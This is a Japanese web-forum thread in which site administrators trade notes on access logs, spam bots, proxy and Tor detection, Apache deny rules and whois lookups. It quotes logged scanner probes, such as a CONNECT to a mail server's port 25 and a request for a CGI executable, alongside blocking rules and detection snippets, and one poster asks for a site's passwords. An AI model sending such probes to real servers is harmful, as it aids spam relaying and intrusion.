060917214622 219.128.162.215 "GET / HTTP/1.1" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)" 403 56

いい加減駆除しろっての。

報告すればいいじゃん。
おまい→ISP→感染ユーザー。

Windows 98のサポートが終了したから心置きなくDenyできるのか。

98使ってた人何に移動するんだろうね？軽量版linuxかな？

>>725
そのIPアドレスは中国のだから、何言ってもムダだろう。

わざと放置して、虚弱性残したままの鯖探してるのかもよｗ

虚弱性じゃなくて脆弱性な。アリナミンで治るわけじゃないんだから。

ちなみに読み方は「ぜいじゃくせい」な。
「きじゃくせい」でも「きょじゃくせい」でもないぞ。

巨雀

月危 弓弓 小生

「ネットランナー」でオベンキョーしたのかもね。
http://takagi-hiromitsu.jp/diary/20060429.html

虚弱性がアリナミンで治るかどうかも疑わしいがな

まぁ、一時的に元気にはなるぞ。あくまで一時的にだが。

ウィルスを駆除してもう大丈夫だ！って油断する奴が多いから
あながち間違いでもないような気がするわけだがｗ

そういえば、一昔前は「ワクチン」という言い方が流行ったよな。

>>739
ウイルスに感染したファイルからウイルスだけを取り除く／予防することが出来た
古き良き時代の話だな。今ではOSそのものの複雑化(主にWindows)とウイルスの
高度化のおかげでウイルスだけを取り除く／予防することはほぼ不可能なのが
当たり前になってしまい、従って「ワクチン(予防薬)」という呼び方もされなく
なってしまったんだよな。

謎のUA 1.0はもうアクセスが少なくなったからどうでもいいといえばいいんだけど、3ヶ月前に作った
新しいファイルにアクセスしてきたもんだから、ちょっと驚いた。

パターンは相変わらず。
xxx.mie.ocn.ne.jp - - [02/Oct/2006:17:yy:zz +0900] "GET /~foo/bar.html HTTP/1.0" 200 abcd "-" "1.0"
xxx.mie.ocn.ne.jp - - [02/Oct/2006:17:yy:zz +0900] "GET /~foo/ HTTP/1.0" 200 abcd "-" "1.0"
xxx.mie.ocn.ne.jp - - [02/Oct/2006:17:yy:zz +0900] "GET / HTTP/1.0" 200 abcd "-" "1.0"

＞キーウォーカー、プロガーのプロファイリングを可能にする検索サービス
http://internet.watch.impress.co.jp/cda/news/2006/10/18/13655.html
気持ち悪いサービスを予防的に蹴っておこうと思うんだが、UA名とかわかる人いる？

とりあえずipで予防線張っとくのはどう？

それもやってみる。

いったいどうやってIPアドレスを調べるというのだろう。

ブログへのコメントスパムボットのUA名。
Jakarta Commons-HttpClient/*.**

同じくTBスパムボットのUA名。
TrackBack/*.**
tb_send/*.**

/のあとの、*.**の部分はバージョン（1.01とか、3.0とか）らしい数字。
tb_sendはネット上で公開されてるPerlの例文で提示されてるものを、スパマーが
そのまんま使ってるらしい。
tb_send/は日本語、TrackBack/ と Jakarta Commons-HttpClient/ は英文スパム。

あー、そういや、Good Design! とか Nice Site!、Great Work! とだけ書いて
あとはURLをずらずら貼り付けていくスパマーがいるが、それを弾くには

SetEnvIfNoCase Range "bytes=0-0" forbidden
<Files *>
order allow,deny
deny from env=forbidden
</Files>

でいいことに最近気が付いた。

そんな分かりやすそうなヘッダ吐いてたんだ

逆引きできないIPが大量にログに残ってたんで調べてみると

OrgName: TREND MICRO INCORPORATED
OrgID: TREND-7
Address: 10101 N. De Anza Blvd,
City: Cupertino
StateProv: CA
PostalCode: 95014
Country: US
NetRange: 66.180.80.0 - 66.180.95.255

これって米トレンドマイクロの中の人がアクセスしてる？
それともFW製品の代理プロキシか何かかな…
コンテンツから考えて、アクセスがあるはずないんだけど…謎

あ、それ、ウチにも来るよ。

その直後に同一ＵＲＬへのまともなアクセスがあるから
＞それともFW製品の代理プロキシか何かかな…
っぽいね。
ページに脅威がないかどうかチェックしてくれるサービスじゃないだろうか。

ちなみに、ＵＡは
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
のはず。

>>750
レスとうも。
UAは確かにそれです。
調べてみたら同一時刻か1秒後ぐらいに、本来のアクセスらしいのがありました。
何か鬱陶しいので、iptablesで弾こうか…

でも、それ弾くと本来のアクセスに悪影響が出るんじゃないかなあ？
出ないかもしれないけど。

言われてみればそうかも…
その代理プロキシ(？)がページのチェックに失敗したらどうなるのかな？
「脅威が発見されました！」となるかもね。

>>91ああ

DQNはｽｸﾞにライバルを叩こうとする

>>91め

ああ

ｋｌｆｇｋｖｇｌｆｃｋｊｆｃｊこいｒｔｊｍｒｔｈｙｊｆｊｋｈｆ

な、何でお前にくそ〜
ギコに〜くはぁ

ドラクエ３で神龍を倒せません倒し方を教えて下さい。

本当に教えて下さい

ゾーマを倒したけど神龍が倒せません

皆さん持ってますかドラクエ３を本当に持ってますか

オルゴデミーラ最終頑張っても配合できません
方法教えて下さい

ここで質問していいものかわからないのですが、聞いてもよかですか？
最近、トップページだけ見に来るへんな人がいるんですけど
時間はバラバラなんですが、とにかく定期的にトップページだけ
見に来るんです。悪さするわけじゃないけど、ログをみるとウインドウズじゃなく
Ｌｉｎｕｘ＆ネスケで、だからって変ですが、何となく激しく不安です
かといって、ＩＰで弾いたら機嫌損ねてクラッカーのスイッチ入っちゃうかもしれないし・・・
定期的にトップページだけ見に来る人は、何をしに来ているんでしょうか
相手が仮にクラッカーだという前提で可能性を教えてください
すげーへんな質問なのはわかってます

前提がおかしいと思う。

おかしいすか
いや、そういう人があんまりいないから不気味なんですよ
だってトップページ見て即座に帰る人って、ページのコンテンツに興味があるとは
思えないじゃないですか
なのに定期的にトップページだけ覗きに来る
カウンターがあるわけでもないし何しにきてんねやろって感じなんすよ

おかしいすか
いや、そういう人があんまりいないから不気味なんですよ
だってトップページ見て即座に帰る人って、ページのコンテンツに興味があるとは
思えないじゃないですか
なのに定期的にトップページだけ覗きに来る
カウンターがあるわけでもないし何しにきてんねやろって感じなんすよ

おかしいすか
しかしですよ、毎回トップページだけ見て帰るような人が、ページの内容に興味があるとは
思えないじゃないすか
それなのに何度も何度も定期的にトップページにだけ訪れるって・・・
何しにきてはんねやろって思いません？
何か調べに来てるんだろうか、とか思っちゃいましたんで質問しました

あ、すんません、なんで３連投になってるんだろう・・・

GET / HTTP/1.1してオサラバなんてよくあることだ。きにするな。

質問させて下さい

最近、というか今AWStats65をインストールして
設定したんですが、これを限られた人間だけが
外部のPCから見るようにするには、どうしたら良いでしょうか？

アクセスしても


>Access forbidden!

>要求されたオブジェクトへのアクセス権がありません。
>読み込みが許可されていないか、
>サーバが読み込みに失敗したかでしょう。

と、まぁ当然なるのですが、何か解決方法がありますかね？
Linux自体最近触り始めたもんで、アホ過ぎる質問でしたら、すまんです

apacheのエラーログがどうでてるか見ろ。

>>772
IP認証によるアクセス制限
ttp://www.atmarkit.co.jp/flinux/rensai/apache09/apache09a.html

ユーザー認証によるアクセス制限
ttp://www.atmarkit.co.jp/flinux/rensai/apache10/apache10a.html

atmarkitってインストールガイドとしては使えないよな。

>>775
手を付ける前なら読む価値あるよ。
1ヶ月くらい繰り返し読んでイメージだけを頭に植え付ける。

なんか方向性が間違ってないか？
>>772は「見えないから見えるようにしたい」と言っているのに
「見えなくする方法」ばかり教えても意味がないぞ。

ヒント：これを限られた人間だけが外部のPCから見るようにするには

お返しのヒント：アクセスしても Access forbidden! と、まぁ当然なるのですが、何か解決方法がありますかね？

まぁ、まず最初に「誰にも見えない原因」を究明にして、
その後で「特定の人からだけ見えるようにする方法」を調べる、と
そういう順番で解決する必要があるわけだ、この人の場合。

この人達は何をしたいんでしょうか…

"GET / HTTP/1.0" 403 198 "-" "check_http/1.89 (nagios-plugins 1.4.3c)"
"GET / HTTP/1.0" 403 198 "-" "Yamada-Search/0.21 (Windows NT/5.1; Build 2600; Service Pack 1)"

ググればすぐに判るだろ？

ヤマダサーチ…

これって何？

CONNECT mx2.mail2000.com.tw:25 HTTP/1.0

>>784
CONNECTメソッドくらい検索すればすぐに解ることだろうに。

>>784
そもそもどこから持って来たログ？
25番ポート（SMTPポート）にHTTPでコネクトしようとすること自体がおかしいんだが。

あ、コネクトの段階だとHTTPだろうがSMTPだろうが関係ないよな。
正確に言うと、CONNECTとHTTPがログの同じ行に現れること自体がおかしい、ということで。

うああああ、HTTPにCONNECTというメソッドがあるんだな。知らなかった。
TCP/IPのconnectだと勘違いしていたよ。socketしてconnectして、の。

HTTPトンネリングするとログに出てくるね。＞CONNECT

ところで、最近nagios-pluginsがウゼェ。mod_rewriteで302にしてるけど。

要するにCONNECTメソッド(主にhttps proxyに使うはずのものだが)をサポートした
http server (事実上のトンネル) かどうかをチェックしてるわけだな。

061204123130 150.61.31.78 "GET /cgi-bin/PMUM/PMUM.exe HTTP/1.1" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727)" 404 240

なにこれ。スパム業者は氏ねよ。

>>791
$ whois -h whois.nic.ad.jp 150.61.31.78

[ JPNIC database provides information regarding IP address and ASN. Its use ]
[ is restricted to network administration purposes. For further information, ]
[ use 'whois -h whois.nic.ad.jp help'. To only display English output, ]
[ add '/e' at the end of command, e.g. 'whois -h whois.nic.ad.jp xxx/e'. ]

Network Information: [ネットワーク情報]
a. [IPネットワークアドレス] 150.61.0.0/16
b. [ネットワーク名] CANON-NET
f. [組織名] キヤノン株式会社
g. [Organization] Canon Inc.
m. [管理者連絡窓口] NT3234JP
n. [技術連絡担当者] HK10602JP
p. [ネームサーバ] ns1.canon.co.jp
p. [ネームサーバ] ns1.fine.ad.jp
p. [ネームサーバ] ns2.canon.co.jp
p. [ネームサーバ] ns3.canon.co.jp
[割当年月日] 1991/06/17
[返却年月日]
[最終更新] 2005/08/22 16:24:43(JST)

上位情報
----------
該当するデータがありません。

下位情報
----------
該当するデータがありません。

ｱﾊﾊﾊﾊﾊﾊﾊﾊﾊ(ﾟ∀ﾟ)ﾊﾊﾊﾊﾊﾊﾊ

祭りと聞いて飛んできました

祭りと聞いて飛んできました

飛んで火に入る夏の蟲

スパム対策のサイトに出入りしてると、たまにボットネットの存在を知らずに
社員＝犯人だと思い込んで騒いでるアホがいて面白い。

あと一般ISPのホスト名やIPアドレスにwhoisかけた結果を持ち出して
「ＮＴＴの社員の仕業だ！」「KDDIの社員だった！」と騒ぐやつとかね。

>>791
それ普通のアクセスじゃないよな。

>>791
そのパターンはウィルスかボットネットが他所のweb serverの脆弱性
を探しているように見える。しかし /cgi-bin/PMUM/PMUM.exe でぐぐ
ってもこのスレしか見つからない。

PMUM.exeでぐぐったらこのページを見つけた：
ttp://akisoftware.jp/pmsrv/pmsrv.html
SMTP/POP3 server and Webmail for Windows PMail Server

だそうな。PMUM.exeに未知の脆弱性があるのか、単純に
設定間違いで関係ないホストにアクセスしてしまったのか、
人の迷惑考えない馬鹿がどれくらい普及しているか探し
回っているとか。

まぁ気にする程の事ではないと思うが、PMail使っていな
ければね。

うちのＢＢＳに悪質な荒らし書き込みが（始めて）あったんだけど、
こういうときに、小まめにabuse 宛に通報とかしたほうがいいんでしょうか

で、通報した場合、サーバの管理者って相手に注意するんでしょうか
その結果、更に逆恨みされるとか・・・そういう可能性ってあります？
かなりビビリですけど、経験談ある方、ご教授願います

あと、通報するときは書き込み時のサーバログを貼り付けるだけでいいんでしょうか
あとは荒らされたＵＲＬとか・・・？

>>800
> うちのＢＢＳに悪質な荒らし書き込みが（始めて）あったんだけど、
> こういうときに、小まめにabuse 宛に通報とかしたほうがいいんでしょうか

するかしないかは、おまいさんの判断次第。
その前に、その香具師が書き込んでいるIP アドレスが本物であるか
どうか調べる必要がある。
世の中には物好きというか馬鹿というか、公開proxyを晒している香
具師が居るので、そういったproxy経由で書き込まれた可能性がある。

ログを眺めているとなんとなくわかるものだが、わからなければその
IPアドレスを管理しているISPのお客様相談口などに、ログと書き込み
内容を伝えて、そちらのユーザが書いたものかどうか確認してもらえ。

whoisで海外のアドレスが出てきたら、大抵の場合そういったproxyの
可能性が高い。

> で、通報した場合、サーバの管理者って相手に注意するんでしょうか

マトモなISPならそのISPの約款の何れかに触れるので、その範囲で警告
してくれる。大抵のばあい「もう一回やったら契約解除するぞ」だな。

> その結果、更に逆恨みされるとか・・・そういう可能性ってあります？

もちろん。そりゃ人間の心理の問題だからね。技術でどうこうなるもん
じゃない。ここからは鯖管としての精神力が試される所。一方的な削除
はかえって祭りを呼び込む事になりかねない。ある程度マトモな書き込み
には馬鹿正直かつ丁寧に返事を「掲示板に」書く事。メール等ではその他
のユーザにやり取りが見えないので、掲示板に公開する事が大事。
ISPに通報するのは、最も悪質な奴のみで十分。特に2ちゃんねる絡みだと
一罰百戒になるので効果的。
＃祭りスレッドを読んでいたら、通報した相手が泣き言書いていた :-)

> かなりビビリですけど、経験談ある方、ご教授願います

漏れの掲示板はある祭りが飛び火しそうになり、実際何人かの2ちゃんねる
ユーザによる嫌がらせ投稿をされたが、AAなど無意味な物は即刻削除、
その中で1番多く書いてきた相手をISPに通報、話が通じそうな相手には
馬鹿丁寧に返事を書いたおかげで防ぐ事ができた。おまけにその後ユーザー
数が増えたよ。

丁寧に教えてくれてありがとう。めっさ参考になりました。

質問。

アクセス解析のデーターで信用できるのは、
（１）IPアドレス
（２）リモートホスト
（３）タイムスタンプ

の３つだけで、OSやブラウザーは
自己申告なので、本当かウソか、わからない、
つまり信用できないデーターという理解でおｋ？
あと携帯だったら固体識別番号も信用できるデーターですか？

>>804
信用できるか否かの分かれ目は難しい問題だな。

例えばIPアドレスについては、そのIPアドレスを持つノードから
HTTPリクエストが発せられたということ自体は事実だが、
実はそいつはproxyで、本当にリクエストを出した奴は
別にいる（が、そのことを見抜けない）という場合もあり得るので、
常に真の意味で「信用できる」ということにはならない。

＞OSやブラウザーは自己申告なので、本当かウソか、わからない

これについても、そういう自己申告データがHTTPリクエストヘッダ中に
あったということ自体は事実だよね。

>>805
プロキシーについてはまあ大丈夫です。
オープンプロキシーからのアクセスをはじくような設定はできるはずですから。
TORも同様です。

OSとブラウザーについては、信用できるとはかぎらないので、
ログを見ないでもいいかな？と思ったので。

いったい何をしたいのか、最終的に実現したいことは何なのか、
それを最初に書いたほうがいいと思うぞ。
的確なアドバイスが欲しいなら。

>>804
リモートホストがIPアドレスの逆引き結果のことなら信用はできない。
例えば、Googleとまったく関係ない人物/組織が
Googleとまったく関係ないIPアドレス(ブロック)に対して
逆引きをhogehoge.google.comとかに設定できるから。

あと逆引きしたらlocalhostとか.とかその他FQDNになってない文字列を
返してくるような設定の所もある。

>>808
その場合、

hogehoge.google.com

をブラウザーに打ち込むと、どこのサーバーにつながるの？

質問

一般的なプロバイダーのホームページスペースで
いまやっているのですが、ここってSSIでアクセス解析は
できるのですが、HTMLファイルならSSIを当然埋め込めるので
アクセス解析はできるのですが、jpgやCSSファイルの読み込みや
ダウンロードのログも見たいのですが、これらはSSIを埋め込むことが
できません。よってアクセス解析ができないと思うのですが、これらも
アクセス解析をしたいと思った場合、やはりアパッチのログを提供してくれる
会社にのりかえるしかないのでしょうか？

あるいは、レンタルサーバーとやらでも可能ですか？
これをやりたくて自宅サーバーを考えてました。

>>810
普通のレンタルサーバならアクセスログは採取可能。

そもそもどういった理由でjpgやらcssのログが見たいのか知りたい。

>>811
そしたらやっぱり、プロバイダーのホームページスペースはもうやめて、
レンタルサーバーにのりかえるべき時期が到来した、という判断ですかねー？

アクセスログを全部見たい、というだけであれば、わざわざ自宅サーバーに
する必要も無い？

ただ、
「おまえのコンテンツが気に入らないから削除しろ」
とかって言われることはないんでしょうか？

>>812
どっかのスレで、
「アクセスログを残したくないからグーグルのキャッシュでみて
javascriptもオフにしたんだけど、うっかりCSSを読み込んじゃって」

とかいう書き込みをみて、CSSのログも見れれば誰が見にきているか
正確にわかるとおもって。

だったらレンタル鯖だろうな。さくらとか。
普通の有料Webスペースだとログ見れないことがあるので、あくまで共有レンタル鯖を
借りるべし。

>「おまえのコンテンツが気に入らないから削除しろ」
>とかって言われることはないんでしょうか？
よほどヤバくない限りは関係ない。というか、プロバイダのスペースで運用できてる
レベルなら関係ないと思うぞ。よほどアホな会社を選ばない限りは。
最近は淘汰が進んできたとはいえ、安さをウリにしてるレン鯖会社は基本的に新興の
中小零細企業が多い。
だから下手なとこ借りると個人情報流出したり、いきなり何日も鯖が落ちたり、夜逃げ
されたり、客を客と思ってないバカ管理人に腹立てるハメにるので、申し込む前に
念入りに下調べをしましょう（笑）。
http://pc10.2ch.net/hosting/
レン鯖板に色々スレがあるからそこ見れ。
まぁ一定数のアクセス数稼げるようになると、誰が見に来てるかなんてどうでもよくなる
よ、実際。荒らされてるときとかは便利だけど。

まだ素人でよく分からないんですけどlinuxで自宅サーバを立ち上げたら
どれぐらい外部から攻撃されるのですか？されませんか？

>>815
されないので安心してたてていいお（＾ε＾）

>>815
それはOSによらない。

Linux/BSDが安全と言われるのは、あくまで「正しく設定出来ていれば」と
いう前提がある。Win*は正しく設定することが大変難しいから、危ないと
言われる訳だ。

Win*に比べて頻度は少ないとは思うが、Linux/BSD自身、あるいはその上で
動いているapache, PHPなどの脆弱性をついてくる香具師は結構いる。
実際に漏れが設定ミスでsshのパスワード認証をONにしていたら、1ヶ月以上
も辞書攻撃(?プルートフォースかも)かけてきた香具師が居たよ。アクセス
してきたユーザ名がrootだのdaemonだのUNIX特有のユーザ名だったので、
どうやらUNIXである事を確認した上で攻撃してきたようだ。
＃そういう攻撃が通じないように、パスワード認証を禁止して公開鍵のみ
　にしてあったんだよ。sshのバージョンアップでUsePAMという設定が出来て、
　しかもdefault ONな物だから...

>>817,816
ありがとうございました
検討します

DoSアタック食らうと堪えるねぇ。

>>819
2ちゃんが使ってるＦ５バーボンと
同じ仕組みは導入するのは難しい？

SYN FloodなのでF5アタックのようなアクセス集中ではないんです。
サーバ自体にSYN Cookieは導入したけど、ルータがあくまでも家庭用のものなのであまりにも酷いと耐え切れない。

サーバにルータ自体もやらせるか、PCルータにすることも検討中だけどね。

webdruidのサイトがなくなってるんだが、どっかからダウンロードできない？

Webalizerを使っているんですが、Total Referrersの１位に、ただの文字列で「Yahoo!」とだけ表示されています。
それも、あり得ないくらい多い数値のHitsで記録されているのですが、それらしきアクセスログも見あたりません。

調べてみると、そのYahoo!経由のHitsは、Webazlierが検知した月間のTotal Hitsと同じ数値（これも多すぎる）でした。
これはWebalizerがハックされているのでしょうか？それとも、Yahoo!の正体をログから探れるでしょうか？

ちなみにbbtec.net、Yahooのクロールからのアクセスは微々たるもので桁が違いすぎます・・。

webalizer.confの
GroupReferrer yahoo.com/ Yahoo!
という所からの調査はした?

>>824さん
なるほど！Group Referrerという設定があったんですね。
これを足がかりに調査してみたいと思います。ありがとうございました！

とあるクライアントなのだが、その人がアクセスすると
２つのＩＰが同じドキュメントをＧＥＴするようになっている

まずはTRENDMICRO 社のＩＰが指定のドキュメントをＧＥＴして、
続いて本人（と思われる）ＩＰがＧＥＴしている

これはセキュリティー上からそういうアクセスをしているのか
あるいはスパイウェアに感染しているのか

>826
そのクライアントはTRENDMICRO社に勤めている訳ではないんだな？

確かにその動作はTRENDMICRO社のサーバが先にGETして、ウィルス
などをチェックしてからユーザのアクセスを許可しているように
見えるね。

多分これじゃないかねぇ。
ttp://www.trendmicro.com/jp/products/gateway/iswm/evaluate/overview.htm

クライアントだあ？　つーことは、>>826は技術者か？
「２つのＩＰ」とか「TRENDMICRO 社のＩＰが」とか
「本人（と思われる）ＩＰ」とか・・・
きさまはＣＰＵクーラーをＣＰＵと呼ぶのか？

つまり>>828 は
・「２つのＩＰ」
・「TRENDMICRO 社のＩＰが」
・「本人（と思われる）ＩＰ」
等を
・「2つのIPスタック」
・「TrendMicro社のIP実装」
・「本人と思われるインターネットプロトコル」
などと解釈しちゃいそうで紛らわしく思うんだ？

まぁ文脈無視していきなり「2つのIP」って出てきたら紛らわしいかもね★

>>827
ありがとう、多分それだね
でも毎回２回ずつＧＥＴされるのはやだなー

じゃ、クライアント様に言えばいいじゃん。やだからやめろ、って。

>>827
BBSなどが全部2重カキコになる非常にうっとぉしいサービスなのだ

>>830
トレンドマイクロのIPアドレス、もしくはUserAgentが違うならUserAgentを弾けばいいんじゃないの？
そのユーザ自体もアクセスできなくなるかもしれないが知ったことじゃないｗ

Webalizerを使っているのですがCountriesが全部Unresolved/Unknownなってしまいます。
ディストリはDebian3.1 Stableでapt-get install webalizerでインストールした物です。
詳しくは分かりませんがcountry-codes.txtというファイルが見当たらないのが問題でしょうか？
何かしらアドバイスをいただければ光栄でございます。
よろしくお願いします。

>>834
httpd.confでHostnameLookupを設定してみたらどう？

>>835
すみませんありがとうございます。
無知で何も知りませんでした。
無事に表示できるようになりました。

ありがとうございました。

>>835
それだと全リクエストにLookupの手間がかかるから、logresolveかけたほうがよくね？
IPアドレスを必ずログの先頭に書き込まないといけないって制限ができるけど。

サーバの負荷＆利用方法にもよるんじゃない

あるIPアドレスからアクセス要求があったときに、
逆引きできるかどうか調べて、
もし逆引きできなかったら、
自動で.htaccesssに追加して
アク禁するにはどうしたらいいかな？

Apacheの話ならHostnameLookupをOnにしてSetEnvIfでREMOTE_HOSTに
値が入ってないアドレスを蹴ればいい。

>>840
ありがとう。

いままで20箇所くらいで聞いて
誰一人として答えられなかった問題でした。

>>841
一応いっとくけど、それは割と過激な部類の制限だからね。
もし海外からのアクセスを蹴りたいとかなら別の方法を検討した方がいいよ。

>>842
えっ、どういう意味ですか？
海外とかの意図ではないです

国籍によって人を差別するのは
憲法違反ですよね。

>>843
いや単に、どういう目的のために「逆引きできなかったらアク禁」をしたいのか
想像がつかないだけ。

逆引きできないホストは招かざる客だって確定してるとか、
「逆引きできなかったらアク禁」自体が目的なんだったら、別にいいんだけど。

逆引きできないと、
どこの誰だかわかりませんよね。

同様の理由で、WEBサーバーが
動いてなかったら自動的にアク禁とかも
やりたいです。

技術的に可能かどうか知りませんけど。

>逆引きできないと、
>どこの誰だかわかりませんよね。

whois して割り当て元を見てください。逆引きはアテになりません。

>>846
2重逆引きすれば確実ですよね

>847
何を確実にしたいのかがわからん。

普通は何か被害を与えられた時に、荒らしが使っているアドレスで
アクセスしてくる相手が誰かを確実に知りたいのではないかな？
それならwhois使って出てきたISP等に連絡して被害を申告して対処
を依頼する。

逆引きできるかどうか、逆引きで嘘ついているかどうかは相手が
どこにいるかという判断には何の意味もない。一部プロバイダでは
逆引き名で地域がわかるという所もあるが、それ以外のプロバイダ
ではわからない。

＞国籍によって人を差別するのは憲法違反ですよね。

ほう。あんた、政府機関か地方自治体のシステムの面倒みてるのか。
個人が憲法に違反することなんてあり得ないしね。

そもそも日本国憲法には国籍による差別を禁じるなんてどこにも書いてないし、
アクセス禁止が「差別」になるかどうかも怪しいし。

>>848
どこの誰かっていうのは
所属組織のことをイメージしてます。

>>851
逆引きできないIPアドレスは怪しい、そんな所からアクセスしてくる人は怪しい人。
そういうことにしたいんでしょ? じゃあそういうポリシーで規制しなよ。
方法ももう回答もらってるんだし。
あなたが運用するサーバなんだから誰も文句いわないよ。

それ以上の回答が欲しいなら、本当は何がしたいのかちゃんと書くこと。
さもないと延々とこの調子で話が進展しないよ。

>>852
いやもうまったくその通りですよ

＞同様の理由で、WEBサーバーが
＞動いてなかったら自動的にアク禁とかも
＞やりたいです。

これもムチャクチャな考えだよな。
Webサーバが動いている方が珍しいぞ。

プロキシ経由の
アクセスだったら、自動的にアク禁、って
やりたいんだけど、どうやればいい？

ひろゆきがやってるのはBBQなの？
BBQのリスト（オープンプロキシのリスト）を
コツコツ作らないとだめなの？

それとも、アクセスがあった場合、そのパソコンを
オープンプロキシとして試しに使おうとしてみて、
使えてしまったらそれはオープンプロキシとして認定して
自動的にアク禁、とかってできるの？

アクセスを一つ一つ調べる。
環境変数でHTTP_VIAとかってのがあれば大概proxyだったり、
アクセス元のTCP80をスキャンしてみたり。
やり方は色々

http://piece.s201.xrea.com/p/rank.cgi?mode=rank_rui&kt=06_02

ここにいろいろかいてあるんだけど、
どうも設置方法がよくわからんな。


http://homepage2.nifty.com/intel-404/internet/bbs/protect.html
ここに書いてあるのでも、

ほとんどの荒らしが身元を隠すためProxyを使用しているため、
全てのProxyによる投稿を拒否します。方法は多くあるのですが
掲示板のソースに直接書き込んで弾く場合は以下なような
コードを入力します。

$check = 0;
$check = 1 if($ENV{'HTTP_VIA'});
$check = 1 if($ENV{'HTTP_X_FORWARDED_FOR'});
$check = 1 if($ENV{'HTTP_FORWARDED'});
if($check ==1)

意味がよくわからんし。
どこに入れていいのかもわからんし。はぁ。

中学生は知らないかもしれないが、企業や大学、自治体などの
大きな組織はプロキシを導入していることが多い。
ケーブルテレビの中にもそういうところはある。
だから、HTTP_VIA などの環境変数がセットされていたら
必ず拒否する、というのは無謀。

オープンプロキシーからのアクセスだったら拒否したいと申し上げております

ちなみに中学生は知らないかもしりませんが
オープンプロキシーというのは誰でも
プロキシーとして使えてアクセスできるものをいいます。

>>840
「弊社サーバでは負荷軽減の為、
HostnameLookupはOffの状態とさせていた
だいております。」

って言われてしまいました。
この場合、どうすればいいですか？

いや、だから、逆引きできなければ拒否っていうバカげたポリシーを放棄すりゃ済む話だろ？

逆引きできないとアクセスログみたときに
数字の羅列だけならんでいて、どこの誰だか
わかりませんよね？

まあwhoisすればわかるという意見もあるかも知れませんが
自動的にwhoisするツールでもあるのであればともかく、
こっちがいちいちIPアドレスをコピペしてwhoisするなんて
アホなことしたくないんですよ。

だいたい悪いことするやつに限って逆引きできないIPで
押しかけてくる印象がありますしね。

なので
「HostnameLookupはOffの状態」
という条件下で、逆引きできないIPを
ブロックする方法を教えてください。

あるいは
HostnameLookupがON
な、料金安めなレンタルサーバーを
教えてくれるというのでもいいですよ。

>>862
まあ確かに逆引きできないIPをブロックするというのは
問題があるポリシーかもしれませんね

たとえばいまアクセスログを見ていて、

210.232.24.196

という、逆引きできないIPがあったので、あやしいので
問答無用でアク禁リストに放り込みましたが、
念のためあなたの言う、Whoisをしてみたところ、
角川書店に割り当てられたIPであることがわかりました。

なぜ逆引きできないのかはなぞですが、
逆引きできないという理由でアク禁してしまうと
別に問題のない訪問客までもアク禁にしてしまう
リスクがあると認識しました。

とはいえ、スパマーとか、掲示板荒らしとか、
悪いことをする人間に限って、なぜか
逆引きできないIPで押しかけてくる傾向がある
のも事実ですよ。

おそらく少しでも身元を隠したいという気持ちが
働くのだろうと思いますが。

逆引きできない怪しいやつなんだから、角川書店を騙ってるに決まってる。
即アク禁で当然。

whoisの情報には信頼性が無いと？

robots.txtの書き方おしえて。
あらゆるロボットを排除したいんだけど。
改行コードはLFでないとだめなのかな？
あとどのスレで聞けばいいのかもおしえて。
あとどこのディレクトリにつっこめばいいのかも。

オープンプロキシ排除できればかなりよくなるよなー
どうやればいいのかなー

>>864
＞教えてくれるというのでもいいですよ。

ずいぶん偉そうな物言いだな。それぐらい自分で探せやボケが。

相手は逆引きできないような怪しいやつですよ。
whois情報の改竄くらいやりかねません。

whois情報の改竄ねぇ....
DomainNameなら不可能ではないが、アドレスの情報を改竄するには
どこのサーバをｸﾗｯｸする必要があるのか、考えてみたことはあるのかな？

逆引きできないイコール怪しい奴と単純に考えることの
バカバカしさを分からせるため or 揶揄するために
わざとボケてるんだよ。>>867 と >>872 はさ。

オープンプロキシ排除できたらマジでいいよね。
やりかたわからんけど。

203.128.163.226
からの荒らしがあった。
逆引きはできてないから、
逆引きできないIPなのだろう。
whoisをしたら、韓国のIPのようだ。
この場合、*.kr をアク禁にしたら、
203.128.163.226もアク禁にできるのだろうか？
あるいは、逆引きできないから、アク禁できないのであろうか？
その場合、数字で範囲を指定して、アク禁にするのだろうか？

そしてさらに推測するが、この
203.128.163.226
というのは、オープンプロキシでないだろうか？
それをどうやったら確認できるだろうか？

dish-sg.nttdocomo.co.jp

ここからアクセスがあったんだが、
これって携帯のユーザーのアクセス？
それとも、ドコモの会社からのアクセス？
ユーザーからだったら、docomo.ne.jpになると
思うんですけど。

203.104.97.101

また逆引きできないIPからのアクセスがあったので
whoisしてみたら、

netname: DATAHOTEL
descr: Livedoor Co., Ltd.
descr: DataHotel TaskForce
country: JP　　　→　（日本）

これはどう判断したらいいのだろうか？
データホテルの従業員が見にきたのか？
それとも、
CGIやプロキシ的な使い方か、アンテナとか、
スクリプトやボットなのだろうか？

202.33.90.76

また逆引きできないIPがでてきたのでwhoisしてみた。

結果：新日鉄ソリューションズ株式会社
シロ。

いちいちwhoisするのメンドイから、
逆引きできるようにしていただけないか？

>>878
これについて自己レスなんだが、
もし携帯ユーザーのアクセスだったら

proxy170.docomo.ne.jp

こんな風になるはずなんだよな。

eclcache4.m.ecl.ntt.co.jp

これって、NTTのISPを使用している
一般ユーザーのアクセスなのかな？

それとも、みかかの社員が見に来た？

どっち？？

in-out-f136.google.com

これはなにしにきたんだ？

質問

wbcc1s03.ezweb.ne.jp

これをアク禁したくて

b.ne.jp

をアク禁リストに入れたんだが、
どうもログを見ると２００になってるようなんだ
なぜかな？
ちゃんと
.ezweb.ne.jp
って書かないとだめなの？

逆引き&whoisネタの奴はトリップかコテ付けてくれ。その方が回答者としても
能率的に回答できる(したい人が居れば)。そうすれば系統だった個別
対応ができる。今みたいに五月雨式に書かれちゃ対応する気も失せる。

>>876-884
deny from all

＞(したい人が居れば)

いないんじゃないかな

smtp.pixela.co.jpってなんですか？

株式会社ピクセラの送信メールサーバー

cs-tor.bu.edu

ってアクセスログがあって、

「イギリスのボストン大学かー」
と思ったけど、ん？tor？？と思って
WEBブラウザーでアクセスしてみたら、
TORのノードみたい。

２ちゃんが使ってるTORブロックのシステム
導入したい。すべてのTORノードのIPが
リストされてるという、あれ。

最近ボストンは英国に移動したのか。知らなかったぞ。

ごめん、
アメリカのマサチューセッツ州だった

マルチ投稿でスマソ　　Morfeus Fucking Scanner　は何しに来てるの？情報求む！

マルチなら失せろ

サイトのパスワードとか調べてくれませんか？

その前にスレタイ読んでください

すいません初心者なもんで。どこのスレ行けばいいか教えて下さい

>>869
